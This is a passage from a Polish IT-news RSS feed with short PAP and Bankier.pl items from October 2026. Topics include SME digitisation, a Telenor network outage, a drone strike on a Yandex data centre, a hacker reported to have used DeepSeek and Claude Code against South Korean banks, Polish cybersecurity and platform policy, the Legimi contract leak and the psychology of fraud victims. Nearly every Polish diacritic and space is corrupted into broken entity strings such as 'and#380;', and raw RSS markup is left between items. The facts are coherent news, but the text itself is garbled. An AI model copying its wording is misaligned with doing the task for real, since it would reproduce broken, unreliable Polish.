Z danych przytoczonych przez resort rozwoju i technologii wynika, and#380;e ponad dwie trzecie polskich przedsiand#281;biorstw zalicza siand#281;and#160;do grupy o bardzo niskiej lub niskiej and#8222;intensywnoand#347;ci cyfrowejand#8221;, aand#160;32 proc. maand#322;ych i and#347;rednich przedsiand#281;biorstwand#160;w Polsce nie wykorzystuje and#380;adnych narzand#281;dzi cyfrowych. Wand#347;rand#243;d mikroprzedsiand#281;biorcand#243;w odsetek ten jest jeszczeand#160;wyand#380;szy i wynosiand#160;39 proc.
Wand#347;rand#243;d firm, ktand#243;re deklarujand#261; uand#380;ywanie narzand#281;dzi cyfrowych, dominuje wykorzystywanie jedynie podstawowych rozwiand#261;zaand#324;, takich jak media spoand#322;ecznoand#347;ciowe i pand#322;atnoand#347;ci online. Ten stopieand#324; zaawansowania cyfrowego zadeklarowaand#322;o 38 proc. firm.
and#160;
and#8222;Tylko 69 proc.and#160;polskich firm Mand#346;P charakteryzuje siand#281; co najmniej podstawowand#261; intensywnoand#347;ciand#261; cyfrowand#261;, 47 proc.and#160;korzysta z rozwiand#261;zaand#324; chmurowych, 19 proc.and#160;prowadzi analitykand#281; danych, a tylko 6 proc.and#160;korzysta ze sztucznej inteligencjiand#8221; - wskazano w zaand#322;oand#380;eniach.

Szyfrowanie danych osobowych stosuje 26,3 proc. firm,and#160;tyle samo ma opracowanand#261; procedurand#281; postand#281;powania w przypadku incydentand#243;w cybernetycznych. 84 proc. przedsiand#281;biorstw nie dysponuje pracownikiem zajmujand#261;cym siand#281; wyand#322;and#261;cznie cyberbezpieczeand#324;stwem.
MRiT wskazaand#322;o, and#380;e 1/3 polskich firm jest zupeand#322;nie niezainteresowana zastand#281;powaniem tradycyjnych sposoband#243;w pracy nowoczesnymi technologiami i narzand#281;dziami cyfrowymi.
Jak zauwaand#380;ono wand#160;zaand#322;oand#380;eniach, firmy na poziomie deklaratywnym wyraand#380;ajand#261; co prawda gotowoand#347;and#263; do wdroand#380;enia rozwiand#261;zaand#324; cyfrowych i and#347;wiadomoand#347;and#263; korzyand#347;ci z tego pand#322;ynand#261;cych, ale nie znajduje to odzwierciedlenia w planach rozwoju firmy.
and#8222;Program transformacji cyfrowej maand#322;ych i and#347;rednich przedsiand#281;biorstw do 2035 rokuand#8221; zakand#322;ada zwiand#281;kszenie poziomu tzw. intensywnoand#347;ci cyfrowej przedsiand#281;biorstw, uporzand#261;dkowanie i zwiand#281;kszenie efektywnoand#347;ci instrumentand#243;w wsparcia transformacji cyfrowej Mand#346;P, usprawnienie koordynacji systemu instytucjonalnego oraz podniesienie jakoand#347;ci usand#322;ug doradczych.
Program ma rand#243;wnieand#380; zapewniand#263; dostand#281;pand#160;do peand#322;nej i aktualnej informacji o instrumentach finansowania oraz usand#322;ugach wspierajand#261;cych cyfryzacjand#281;, a takand#380;e bieand#380;and#261;cy monitoring i analizand#281; skutecznoand#347;ci dziaand#322;aand#324; cyfryzacyjnych.
Jak wskazaand#322;o MRiT, priorytetowo majand#261; byand#263; traktowane branand#380;e o duand#380;ym znaczeniu dla gospodarki i relatywnie niskiej intensywnoand#347;ci cyfrowej, m.in. budownictwo, opieka zdrowotna, transport i logistyka, handel detaliczny (z wyand#322;and#261;czeniami), dziaand#322;alnoand#347;and#263; informatyczna, usand#322;ugi profesjonalne, przetwand#243;rstwo przemysand#322;owe i edukacja.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 9 paand#378;dziernik 2026and#160; gkc/ drag/ ]]></description>
		</item><item>
			<title><![CDATA[ Nie działają telefony alarmowe, pociągi stanęły. Wielka awaria w Norwegii ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1781</link>
			<description><![CDATA[ Awaria sieci komand#243;rkowej Telenor sparaliand#380;owaand#322;a w czwartek po poand#322;udniu and#322;and#261;cznoand#347;and#263; telefonicznand#261; w Norwegii. Przestaand#322;y dziaand#322;aand#263; telefony alarmowe policji i pogotowia ratunkowego. W caand#322;ym kraju wstrzymano ruch pociand#261;gand#243;w.
and#160;





fot. hyotographics / /and#160;Shutterstock  


Mieszkaand#324;cy wszystkich regionand#243;w Norwegii majand#261; problemy z wykonywaniem i odbieraniem poand#322;and#261;czeand#324; telefonicznych. Problemy dotknand#281;and#322;y rand#243;wnieand#380; klientand#243;w sieci komand#243;rkowych innych niand#380; Telenor.
and#160;
Awaria zakand#322;and#243;ciand#322;a pracand#281; sand#322;uand#380;b ratunkowych. Policja, straand#380; poand#380;arna i pogotowie ratunkowe majand#261; trudnoand#347;ci z przyjmowaniem zgand#322;oszeand#324;. Przestaand#322;y dziaand#322;aand#263; telefony alarmowe.
Policja wdroand#380;yand#322;a procedury kryzysowe. Przed komisariatami w Oslo majand#261; dyand#380;urowaand#263; umundurowani funkcjonariusze, do ktand#243;rych mieszkaand#324;cy band#281;dand#261; mogli zgand#322;aszaand#263; siand#281; osobiand#347;cie.
Wiele placand#243;wek pogotowia nie moand#380;e odbieraand#263; zgand#322;oszeand#324;. Zaapelowano, aby osoby potrzebujand#261;ce pomocy przychodziand#322;y bezpoand#347;rednio do placand#243;wek medycznych.
and#160;

and#8222;Jeand#347;li awaria siand#281; przedand#322;uand#380;y, sytuacja band#281;dzie niepokojand#261;caand#8221; and#8211; powiedziaand#322;a dziennikowi and#8222;VGand#8221; pieland#281;gniarka z centrali pogotowia dla wschodniej Norwegii.
and#160;
Awaria wstrzymaand#322;a ruch kolejowy w caand#322;ym kraju. Wszystkie pociand#261;gi zostaand#322;y alarmowo zatrzymane na najbliand#380;szych stacjach. Zarzand#261;dca infrastruktury kolejowej przekazaand#322; w komunikacie, and#380;e wstrzymanie nastand#261;piand#322;o z powodu braku moand#380;liwoand#347;ci kontaktu ze sand#322;uand#380;bami ratunkowymi. Same pociand#261;gi majand#261; byand#263; sprawne, ale ze wzgland#281;dand#243;w bezpieczeand#324;stwa nie mogand#261; kontynuowaand#263; jazdy.
and#160;
Przyczyna awarii nie zostaand#322;a jeszcze ujawniona. Telenor przekazaand#322; jednak, and#380;e na razie nic nie wskazuje na to, by byand#322;a wynikiem ataku hakerskiego.
and#160;
Do wyand#322;and#261;czenia ruchu kolejowego w caand#322;ym kraju doszand#322;o rand#243;wnieand#380; 25 grudnia 2024 r. Przyczynand#261; zatrzymania pociand#261;gand#243;w okazaand#322;y siand#281; rand#243;wnieand#380; problemy z and#322;and#261;cznoand#347;ciand#261;. Do ostatniej awarii sieci Telenor doszand#322;o 29 wrzeand#347;nia, gdy z powodand#243;w technicznych przestaand#322;y dziaand#322;aand#263; karty SIM 20 tys. klientand#243;w. W styczniu 2026 r. usterka, ktand#243;rej przyczyny operator nie ujawniand#322;, wywoand#322;aand#322;a liczne problemy z mobilnym internetem i poand#322;and#261;czeniami telefonicznymi w caand#322;ym kraju.
and#160;

and#378;rodand#322;o PAP 8 paand#378;dziernik 2026 Z Oslo Mieszko Czarneckiand#160;
cmm/ rtt ]]></description>
		</item><item>
			<title><![CDATA[ Drony uderzyły w centrum danych Yandex. Awaria części rosyjskiego internetu ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1780</link>
			<description><![CDATA[ Atak ukraiand#324;skich dronand#243;w na centrum danych koncernu Yandex w Sasowie w obwodzie riazaand#324;skim doprowadziand#322; w czwartek do poand#380;aru i czasowego wstrzymania dziaand#322;alnoand#347;ci obiektu, a takand#380;e zakand#322;and#243;ceand#324; w funkcjonowaniuand#160;czand#281;and#347;ci rosyjskich serwisand#243;w internetowych and#8211; podaand#322; portal RBK.
and#160;





fot. Bangla press / /and#160;Shutterstock  


W ciand#261;gu dnia przestaand#322;y dziaand#322;aand#263; strony internetowe wielu duand#380;ych rosyjskich mediand#243;w. Uand#380;ytkownicy zgand#322;aszali problemy z dostand#281;pem do stron RBK, and#8222;Wiedomostiand#8221;, RIA Nowosti, and#8222;Kommiersantaand#8221;, and#8222;Wiestiand#8221;, and#8222;Interfaksuand#8221; i and#8222;Rossijskiejand#160;Gazietyand#8221;.
Jak pand#243;and#378;niej poinformowaand#322; portal RBK, strony tych mediand#243;w sand#261; juand#380; dostand#281;pne.
Yandex poinformowaand#322; w czwartekand#160;o caand#322;kowitym wstrzymaniu dziaand#322;alnoand#347;ci centrum danych w obwodzie riazaand#324;skim, na poand#322;udniowy wschand#243;d od Moskwy, w wyniku ataku ukraiand#324;skich dronand#243;w.
Poand#380;ar wybuchand#322; na terenie zakand#322;adu Sasta, w miejscowoand#347;ci Sasowo, gdzie znajduje siand#281; centrum danych Yandex DC. Urzand#261;dzenia produkowane przez zakand#322;ad sand#261; wykorzystywane w rosyjskim przemyand#347;le obronnym, lotniczym i kosmicznym, transportowym oraz ciand#281;and#380;kim.
Portaand#322; Ukrainska Prawda podaand#322;, and#380;e po ataku doszand#322;o do rozlegand#322;ych zakand#322;and#243;ceand#324; w dziaand#322;aniu usand#322;ug Yandex. Odnotowano and#8222;zakand#322;and#243;cenia zasilaniaand#8221;, w wyniku ktand#243;rych niedostand#281;pna staand#322;a siand#281; znaczna czand#281;and#347;and#263; infrastruktury Yandex Cloud.
Problemy dotknand#281;and#322;y m.in. zasoband#243;w obliczeniowych, sieci, systemand#243;w przechowywania danych, baz danych, platformy Kubernetes, usand#322;ug chmurowych i sztucznej inteligencji, a takand#380;e systemand#243;w bezpieczeand#324;stwa i monitorowania.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 8 paand#378;dziernik 2026 iua/ mal/ ]]></description>
		</item><item>
			<title><![CDATA[ Cyberatak na banki Korei Płd. Haker wykorzystywał DeepSeek i Claude ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1779</link>
			<description><![CDATA[ Za cyberatakami na poand#322;udniowokoreaand#324;skie instytucje finansowe staand#322; haker prawdopodobnie posand#322;ugujand#261;cy siand#281; jand#281;zykiem chiand#324;skim, ktand#243;ry korzystaand#322; z narzand#281;dzi opartych na AIand#160;and#8211; podaand#322;a w czwartek agencja Yonhap, cytujand#261;c raport ekspertand#243;w. Chiand#324;skie MSZ wyraziand#322;o sprzeciw wobec and#8222;dezinformacjiand#8221; i dziaand#322;aand#324; hakerskich.
and#160;





/ Shutterstock  


and#8222;Choand#263; tej aktywnoand#347;ci nie przypisano konkretnemu znanemu sprawcy, haker jest prawdopodobnie osoband#261; chiand#324;skojand#281;zycznand#261;, kierujand#261;cand#261; siand#281; motywami finansowymiand#8221; and#8211; oceniand#322;a and#8222;z umiarkowanand#261; pewnoand#347;ciand#261;and#8221; w opublikowanym w and#347;rodand#281; raporcie amerykaand#324;ska firma CrowdStrike zajmujand#261;ca siand#281; cyberbezpieczeand#324;stwem.



and#160;



Do serii wand#322;amaand#324; do poand#322;udniowokoreaand#324;skich bankand#243;w, w tym Hana Bank, KB Kookmin Bank oraz Shinhan Bank, doszand#322;o na przeand#322;omie wrzeand#347;nia i paand#378;dziernika. Wedand#322;ug ustaleand#324; analitykand#243;w napastnik wykorzystaand#322; chiand#324;skie narzand#281;dzie o otwartym kodzie and#378;rand#243;dand#322;owym ARTEX oraz modele jand#281;zykowe, jak DeepSeek i Claude Code, aby uzyskaand#263; dostand#281;p m.in. do systemu zapytaand#324; kredytowych oraz wewnand#281;trznej platformy wsparcia pracownikand#243;w.
Z analizy CrowdStrike wynika, and#380;e haker pytaand#322; sztucznand#261; inteligencjand#281; o fora i grupy w komunikatorze Telegram specjalizujand#261;ce siand#281; w handlu skradzionymi danymi z Korei Pand#322;d. W jednej z sesji poprosiand#322; rand#243;wnieand#380; o przygotowanie CV ekspertaand#160;ds. bezpieczeand#324;stwa, ujawniajand#261;c przy tym dane osobowe wskazujand#261;ce na 26-latka powiand#261;zanego z prowincjand#261; Guangdong w Chinach.
Peand#322;na skala wycieku danych nie zostaand#322;a jeszcze potwierdzona, jednak pojedyncze banki zgand#322;osiand#322;y juand#380; naruszenie danych osobowych klientand#243;w - zwraca uwagand#281; Yonhap.
Sand#322;uand#380;by i wand#322;adze w Seulu rozpoczand#281;and#322;y w tej sprawie oficjalne dochodzenie.
Pytana o te doniesienia rzeczniczka chiand#324;skiego MSZ oand#347;wiadczyand#322;a, and#380;e nie zna szczegand#243;and#322;and#243;w tego incydentu.
and#8211; Chiny zgodnie z prawem sprzeciwiajand#261; siand#281; dziaand#322;aniom hakerskim i zwalczajand#261; je. Odrzucamy rand#243;wnieand#380; szerzenie dezinformacji z pobudek politycznych and#8211; powiedziaand#322;a, dodajand#261;c, and#380;e rozwand#243;j AI wymaga zacieand#347;nienia wspand#243;and#322;pracy miand#281;dzynarodowej i ustanowienia nowych zasad bezpieczeand#324;stwa w cyberprzestrzeni.
and#160;
and#160;
and#378;rodand#322;o PAP 8 paand#378;dziernik 2026 Krzysztof Pawliszak (PAP) ]]></description>
		</item><item>
			<title><![CDATA[ Koniec z zamiataniem wycieków pod dywan. Rząd zacznie publicznie wytykać palcem "dziurawe" firmy ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1778</link>
			<description><![CDATA[ Zmieni siand#281; doktryna paand#324;stwa, w planach jest publiczne informowanie, ktand#243;re firmy nie dbajand#261; o cyberbezpieczeand#324;stwo - poinfomowaand#322;and#160;w and#347;rodand#281; wicepremier, minister cyfryzacji Krzysztof Gawkowski. Zaniedbania cyberbezpieczeand#324;stwaand#160;mogand#261; kosztowaand#263; ludzkie and#380;ycie - dodaand#322; minister energii Miand#322;osz Motyka.
and#160;





fot. Zbyszek Kaczmarek / /and#160;FORUM  


- Mamy coraz wiand#281;cej rand#243;and#380;nego rodzaju atakand#243;w na firmy, ktand#243;re (...)and#160;nie dbajand#261; o swoje cyberbezpieczeand#324;stwo. (...)and#160;I chciaand#322;em dzisiaj zapowiedzieand#263;, and#380;e zmieni siand#281; w tej sprawie doktryna paand#324;stwa - mand#243;wiand#322; Gawkowskiand#160;w and#347;rodand#281; podczas Cyber24 Days.
Jak wskazaand#322;, do tej pory paand#324;stwo oferowaand#322;o firmom dofinansowanie na wzmacnianie cyberbezpieczeand#324;stwa i transformacjand#281; cyfrowand#261;and#160;oraz publikowaand#322;o rekomendacje dot. bezpieczeand#324;stwa.and#160;


- Ta doktryna siand#281; nie sprawdziand#322;a, bo polskie firmy za cenand#281; zaniedbaand#324; nie inwestowaand#322;y w swoje cyberbezpieczeand#324;stwo. Wiand#281;c nowa doktryna band#281;dzie taka: band#281;dziemy wam pomagaand#263; i band#281;dziemy wskazywaand#263; palcem, ktand#243;re firmy siand#281; nie zabezpieczyand#322;y. Band#281;dziemy przekazywaand#263; informacje opinii publicznej, kto jest winien incydentand#243;w. Band#281;dziemy nazywaand#263; sprawy po imieniu i band#281;dziemy po prostu przed atakiem, przed sytuacjand#261; krytycznand#261;, pokazywaand#263; jak bardzo polski rynek, w kaand#380;dym obszarze paand#324;stwa, od sportu i rolnictwa przez administracyjne wsparcie, po sektor medyczny, nie zabezpieczyand#322; swoich klientand#243;w - zadeklarand#243;waand#322; szef Ministerstwa Cyfryzacji.  

- Wszystkie podmioty funkcjonujand#261;ce na rynku energii, zarand#243;wno Spand#243;and#322;ki Skarbu Paand#324;stwa, jak i podmioty prywatne, muszand#261; przejand#347;and#263; peand#322;nand#261; profesjonalizacjand#281; w zakresie bezpieczeand#324;stwa cyfrowego - wskazaand#322; z kolei minister energii Miand#322;osz Motyka.  
Jak mand#243;wiand#322;, podmioty, w tym prywatne, zajmujand#261;ce siand#281; wytwarzaniem energii, zostanand#261; zobowiand#261;zane do zgand#322;aszania planand#243;w pracy jednostek oraz planand#243;w rozwoju w sferze cyfrowej.
Motyka podkreand#347;liand#322;,and#160;jeden dzieand#324; blackoutu moand#380;e przynieand#347;and#263; polskiejand#160;gospodarce co najmniejand#160;40 mld zand#322; straty.and#160;  
- Nie band#281;dziemy tolerowaand#263; zaniedbaand#324;. (...) One mogand#261; kosztowaand#263; miliardy zand#322;otych,and#160;ale gorzej, jak band#281;dand#261; kosztowaand#322;y ludzkie and#380;ycie. Onoand#160;jest bezcenne. A brakand#160;bezpieczeand#324;stwa energetycznego, brak moand#380;liwoand#347;and#263; funkcjonowania szpitali, kluczowych placand#243;wek z punktu widzenia and#380;ycia i zdrowia, band#281;dzieand#160;kosztowaand#322; takand#380;e brak zaufania do paand#324;stwa, (...) band#281;dzie kosztowaand#322; ludzkie and#380;ycie - podkreand#347;liand#322;.  
Dodaand#322;, and#380;e wspand#243;and#322;praca Ministerstwa Energii iand#160;Ministerstwa Cyfryzacji w projektach budand#380;etowych na lata 2026 i 2027 ma zagwarantowaand#263; firmom energetycznym odpowiednie finansowanie naand#160;podnoszenieand#160;poziomu cyberbezpieczeand#324;stwa.
and#160;
Czarna seria wyciekand#243;w
W sierpniu doszand#322;o do wycieku danych ok. 19 mln Polakand#243;w z systemand#243;w gabinetowych firmy MyDr. Pod koniec wrzeand#347;nia redakcje CyberDefence24 i Zaufanej Trzeciej Strony poinformowaand#322;y o wycieku danych z aplikacji Medyc od firmy Qbusoft, ktand#243;rego skala obejmuje najprawdopodobniej 5 milionand#243;w osand#243;b. W ostatnich tygodniach doszand#322;o teand#380; do naruszenia danych w firmie Enel Med, w systemie FELG dla gabinetand#243;w dentystycznych oraz w firmie Fakturownia, dostarczajand#261;cej systemy ksiand#281;gowe.



















Natomiast pod koniec grudnia 2025 r.and#160;doszand#322;o do serii skoordynowanych atakand#243;w na sektor energetyczny.and#160;Dziaand#322;ania wymierzone byand#322;y wand#160;liczne farmy wiatrowe iand#160;fotowoltaiczne, spand#243;and#322;kand#281; zand#160;sektora produkcyjnego oraz wand#160;elektrociepand#322;owniand#281;. Wedand#322;ug CERT Polskaand#160;istniaand#322;o wand#243;wczas realne ryzyko przerwania ciand#261;gand#322;oand#347;ci dostaw ciepand#322;a dla pand#243;and#322; miliona odbiorcand#243;w.

and#160;
and#378;rodand#322;o PAP 7 paand#378;dziernik 2026and#160; mbl/ mrr/ ]]></description>
		</item><item>
			<title><![CDATA[ Rząd idzie na wojnę z gigantami? Gawkowski: Kary to za mało, jesteśmy gotowi wyłączyć X i Metę ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1777</link>
			<description><![CDATA[ Kary finansowe to dla platform cyfrowych za maand#322;o. Dlatego za naruszanie ludzkich dand#243;br, w tym publikowanie zdjand#281;and#263; nagich dzieci, jesteand#347;my gotowi je wyand#322;and#261;czaand#263; - zapewniand#322; w and#347;rodand#281; wicepremier, minister cyfryzacji Krzysztof Gawkowski.




and#160;


fot. Zbyszek Kaczmarek / /and#160;FORUM


and#160;
W and#347;rodand#281;, wraz z minister edukacji Barbarand#261; Nowackand#261;, Krzysztof Gawkowski odpowiadaand#322; na pytania dotyczand#261;ce cyfrowego bezpieczeand#324;stwa dzieci i mand#322;odzieand#380;y, podczas panelu w ramach odbywajand#261;cej siand#281; w Warszawie konferencji pod nazwand#261; Cyber24 Days.
Prowadzand#261;cy panel wiceprzewodniczand#261;cy Paand#324;stwowej Komisji ds. przeciwdziaand#322;ania wykorzystaniu seksualnemu maand#322;oletnich poniand#380;ej lat 15 Konrad Ciesioand#322;kiewicz zwrand#243;ciand#322; uwagand#281; na gwaand#322;towny wzrost publikowanych w sieci treand#347;ci prezentujand#261;cych seksualne wykorzystanie dzieci (ang. Child Sexual Abuse Materials - CSAM), w tym wygenerowanych przy uand#380;yciu sztucznej inteligencji.
and#160;
Wedand#322;ug miand#281;dzynarodowej organizacji WeProtect,and#160;dziaand#322;ajand#261;cejand#160;na rzecz wyeliminowania wykorzystywania seksualnego i krzywdzenia dzieci z wykorzystaniem technologii,and#160;wzrost ten wynosi nawet 1300 proc. rok do roku.
Szef resortu cyfryzacji powiedziaand#322;, and#380;eand#160;platformy, ktand#243;re nie biorand#261; na siebie odpowiedzialnoand#347;ci za ten stan, and#8222;muszand#261; mieand#263; and#347;wiadomoand#347;and#263;, and#380;e paand#324;stwo dojrzewa do myand#347;li, and#380;eby karaand#263; je za to nie tylko karand#261; finansowand#261;and#8221;, ktand#243;ra nie jest dla platform dostatecznie dolegliwa.


- Jeand#380;eli band#281;dand#261; pojawiaand#322;y siand#281; sytuacje, w ktand#243;rych systemowo band#281;dzie naruszaneand#160;jakieand#347; dobro czand#322;owieka, my band#281;dziemy te platformy wyand#322;and#261;czali - powiedziaand#322;.

-and#160;Rozbierasz, prowokujesz, wprowadzasz do obiegu coand#347;, co jest nielegalne w polskim systemie prawnym? (...)and#160;To znaczy, and#380;e my ci odbieramy prawo, and#380;ebyand#347; to robiand#322;. Nie w prosty sposand#243;b, mand#243;wiand#261;c: and#187;Poprosimy ciand#281; grzecznie, sand#322;uchaj, zdejmij tand#261; treand#347;and#263;and#171;, ale mand#243;wimy: (...)and#160;and#187;Ciebie, X-ie, ciebie, Meto, ciebie, Facebooku - wyand#322;and#261;czymyand#171; - dodaand#322;.
Przyznaand#322;, and#380;e byand#322; bliski podjand#281;cia podobnej decyzji, kiedy w ubiegand#322;ym roku platforma X zostaand#322;a and#8222;zalanaand#8221; przez nagieand#160;zdjand#281;ciaand#160;osand#243;b w rand#243;and#380;nym wieku,and#160;przetworzone z uand#380;yciem zintegrowanego z X asystenta AI Groka.

- Caand#322;and#261; platformand#281; powinniand#347;my wyand#322;and#261;czyand#263;. Po prostu wyand#322;and#261;czyand#263; w Polsceand#160;X. To jest moand#380;liwe, polskie prawo daje nam takie moand#380;liwoand#347;ci, jest ten przycisk w Ministerstwie Cyfryzacji - stwierdziand#322; wicepremier.

Gawkowski porand#243;wnywaand#322; rozwand#243;j internetu doand#160;upowszechnienia siand#281; papierosand#243;w na poczand#261;tku XX wieku. Zaznaczyand#322; jednak, and#380;e oand#160;ile walka z nikotynizmem i wprowadzanie regulacji (np. zakazu palenia w miejscach publicznych,and#160;w tym restauracjach, orazand#160;wprowadzenie graficznych ostrzeand#380;eand#324; na paczkach) trwaand#322;y dekady, o tyle w przypadku cyberzagroand#380;eand#324; paand#324;stwo musi reagowaand#263; szybciej, a zmiana przepisand#243;w powinna zajand#261;and#263; maksymalnie kilka lat.
and#160;
and#160;
and#378;rodand#322;o PAP 7 paand#378;dziernik 2026 Katarzyna Czarneckaand#160;
and#160;





ksc/ agz/ ]]></description>
		</item><item>
			<title><![CDATA[ Wyciek danych z Legimi. Wykradziono umowy i dane autorów oraz wydawców ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1776</link>
			<description><![CDATA[ Do powaand#380;nego incydentu bezpieczeand#324;stwa doszand#322;o w platformie Legimi. Nieuprawniona osoba wykorzystaand#322;a lukand#281; w panelu wydawcy i uzyskaand#322;a dostand#281;p do plikand#243;w zawierajand#261;cych umowy zawarte z autorami i wydawcami. Wand#347;rand#243;d przejand#281;tych informacji znalazand#322;y siand#281; m.in. dane osobowe oraz warunki wynagrodzeand#324;.and#160;
and#160;





fot. Anastasiia Skorobogatova / /and#160;Shutterstock


and#160;
Do zdarzenia doszand#322;o 22 wrzeand#347;nia. Jak poinformowaand#322;a Legimi, przyczynand#261; byand#322; band#322;and#261;d polegajand#261;cy na niewystarczajand#261;cej kontroli uprawnieand#324; przy pobieraniu dokumentand#243;w. Spand#243;and#322;ka wykryand#322;a naruszenie 2 paand#378;dziernika, a nastand#281;pnie zablokowaand#322;a and#378;rand#243;dand#322;o ataku i usunand#281;and#322;a lukand#281; w panelu wydawcy. Wedand#322;ug firmy incydent dotyczyand#322; 183 osand#243;b.and#160;
and#160;
Zakres wykradzionych informacji rand#243;and#380;niand#322; siand#281; w zaleand#380;noand#347;ci od rodzaju umowy - poinformowaand#322; Sekurak, ktand#243;ry jako pierwszy napisaand#322; o sprawie. Wand#347;rand#243;d danych znalazand#322;y siand#281; imiona i nazwiska oraz adresy zamieszkania. W czand#281;and#347;ci dokumentand#243;w znajdowaand#322;y siand#281; rand#243;wnieand#380; numery PESEL, serie i numery dowodand#243;w osobistych, imiona rodzicand#243;w oraz pseudonimy. Osoba, ktand#243;ra uzyskaand#322;a dostand#281;p do systemu, mogand#322;a takand#380;e pobraand#263; treand#347;and#263; umand#243;w, w tym informacje dotyczand#261;ce warunkand#243;w wynagrodzenia autorand#243;w i wydawcand#243;w.
and#160;
Legimi przekazaand#322;o, and#380;e nie doszand#322;o do przejand#281;cia kont pracownikand#243;w ani naruszenia bazy danych. Spand#243;and#322;ka zgand#322;osiand#322;a incydent Prezesowi Urzand#281;du Ochrony Danych Osobowych i poinformowaand#322;a osoby, ktand#243;rych dane dotyczyand#322;y.
Firma zaznacza jednoczeand#347;nie, and#380;e nie ma informacji, aby wykradzione dane zostaand#322;y opublikowane lub wykorzystane. Nie wiadomo natomiast, ile dokand#322;adnie dokumentand#243;w zostaand#322;o pobranych.and#160;
and#160;
and#160;
and#378;rodand#322;o Bankier.pland#160; 7 paand#378;dziernik 2026and#160;and#160;oprac. KWS

and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Inteligencja idzie na urlop. Dlaczego racjonalni ludzie oddają pieniądze oszustom? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1775</link>
			<description><![CDATA[ Dyplom, inteligencja, rozwaga. Dlaczego to nie wystarcza, and#380;eby nie daand#263; siand#281; oszukaand#263;? O zand#322;udnej pewnoand#347;ci siebie, obietnicach and#322;atwego zysku i wiedzy, ktand#243;ra zawodzi w chwili prand#243;by, mand#243;wi prof. Dominika Maison, psycholog z Uniwersytetu Warszawskiego.
and#160;





fot. Marek Wiand#347;niewski / /and#160;Puls Biznesu


and#160;
Bankier.pl: Jak to moand#380;liwe, and#380;e naukowiec, menedand#380;er, trener perswazji czasem przelewa oszustowi oszczand#281;dnoand#347;ci and#380;ycia. Inteligencja zrobiand#322;a sobie wolne?
Dominika Maison: Przeceniamy znaczenie inteligencji i wyksztaand#322;cenia w zachowaniach finansowych. Osoby lepiej wyedukowane majand#261; zazwyczaj wiand#281;kszand#261; wiedzand#281; o and#347;wiecie, ale przy bardziej zand#322;oand#380;onych decyzjach and#8212; w co zainwestowaand#263;, jaki produkt finansowy wybraand#263; and#8212; nie musi to wiele znaczyand#263;. Moand#380;na and#347;wietnie znaand#263; siand#281; na biologii i nie rozumieand#263; rynkand#243;w kapitaand#322;owych. W podatnoand#347;ci na manipulacjand#281; waand#380;ne sand#261; teand#380; cechy osobowoand#347;ci i motywacje. Czasami znaczand#261; wiand#281;cej niand#380; dyplom.
and#160;
A moand#380;e sukces w innych dziedzinach przeszkadza? Skoro zarzand#261;dzam firmand#261;, to chyba umiem wybraand#263; lokatand#281;.
Tak, wiele osand#243;b ulega iluzji and#8212; jestem wyksztaand#322;cony i robiand#281; karierand#281;, wiand#281;c znam siand#281; na wszystkim. Tymczasem ludzie and#347;wietnie wyksztaand#322;ceni popeand#322;niajand#261; band#322;and#281;dy, kiedy wychodzand#261; poza wand#322;asnand#261; dziedzinand#281;. Przekonanie, and#380;e jestem inteligentny, wiand#281;c sobie poradzand#281;, sprawia, and#380;e czand#322;owiek nie dostrzega granic wand#322;asnej wiedzy. I teand#380; moand#380;e daand#263; siand#281; naciand#261;gnand#261;and#263;.

Na co najand#322;atwiej nas zand#322;apaand#263;? Na obietnicand#281;, and#380;e wreszcie band#281;dziemy bogaci?
W kontekand#347;cie obietnic szybkiego wzbogacenia ogromne znaczenie przypisujand#281; materializmowi. To mand#243;j wniosek z rand#243;and#380;nych badaand#324; and#8212; silne nastawienie na zdobywanie pieniand#281;dzy moand#380;e staand#263; siand#281; puand#322;apkand#261;. Zapewnienie, and#380;e szybko i duand#380;o siand#281; zarobi bez ryzyka, wyand#322;and#261;cza czujnoand#347;and#263;, myand#347;lenie. Taka obietnica powinna byand#263; sygnaand#322;em ostrzegawczym. Ale pragnienie wzbogacenia siand#281; lub wyjand#347;cia z problemand#243;w finansowych moand#380;e osand#322;abiand#263; logicznand#261; analizand#281; oferty.
and#160;
and#321;atwo wtedy powiedzieand#263;: byand#322; chciwy, wiand#281;c straciand#322;. Tylko czy to zawsze uczciwe wobec oszukanego?
Nie moand#380;na tego tak upraszczaand#263;. Materializm ma znaczenie zwand#322;aszcza wtedy, gdy komunikat odwoand#322;uje siand#281; do szybkiego zysku. Nie wyjaand#347;nia jednak podatnoand#347;ci na wszystkie oszustwa ani kaand#380;dej band#322;and#281;dnej decyzji finansowej. Waand#380;ne jest takand#380;e zaufanie. Ludzie korzystajand#261; z doradcand#243;w, bo oczekujand#261; fachowej pomocy. Niestety, bywa teand#380; tak, and#380;e ktoand#347;, komu zaufali, poleca niewand#322;aand#347;ciwe rozwiand#261;zanie. To niekoniecznie and#380;and#261;dza pieniand#261;dza. Przecieand#380; idand#261;c do dentysty, nie zdobywamy najpierw wyksztaand#322;cenia stomatologicznego. Z usand#322;ug doradcy finansowego teand#380; korzystamy dlatego, and#380;e nie musimy znaand#263; siand#281; na wszystkim. Gdy sand#322;yszymy: to najlepsze rozwiand#261;zanie dla pani, moand#380;emy uwierzyand#263;. Nie musi za tym staand#263; chciwoand#347;and#263;.














Badaand#322;a pani reklamy bankand#243;w obiecujand#261;ce pieniand#261;dze za zaand#322;oand#380;enie konta. Kogo nand#281;ci taka marchewka?
Porand#243;wnywaliand#347;my komunikat zapraszajand#261;cy do banku z ofertand#261;, ktand#243;ra dodatkowo obiecywaand#322;a 500 zand#322;. To drugie ogand#322;oszenie byand#322;o ogand#243;lnie nieco gorzej oceniane. Ludzie najwyraand#378;niej wyczuwali w propozycji coand#347; podejrzanego. Natomiast osoby z wysokim poziomem materializmu reagowaand#322;y na niand#261; bardzo mocno, byand#322;y najbardziej zainteresowane. Dla marketingowcand#243;w jest w tym jednak puand#322;apka and#8212; taki klient niekoniecznie band#281;dzie lojalny. Jeand#347;li inny bank zaoferuje mu 700 zand#322;, moand#380;e przenieand#347;and#263; siand#281; tam. Samand#261; premiand#261; nie buduje siand#281; trwaand#322;ej relacji.
and#160;
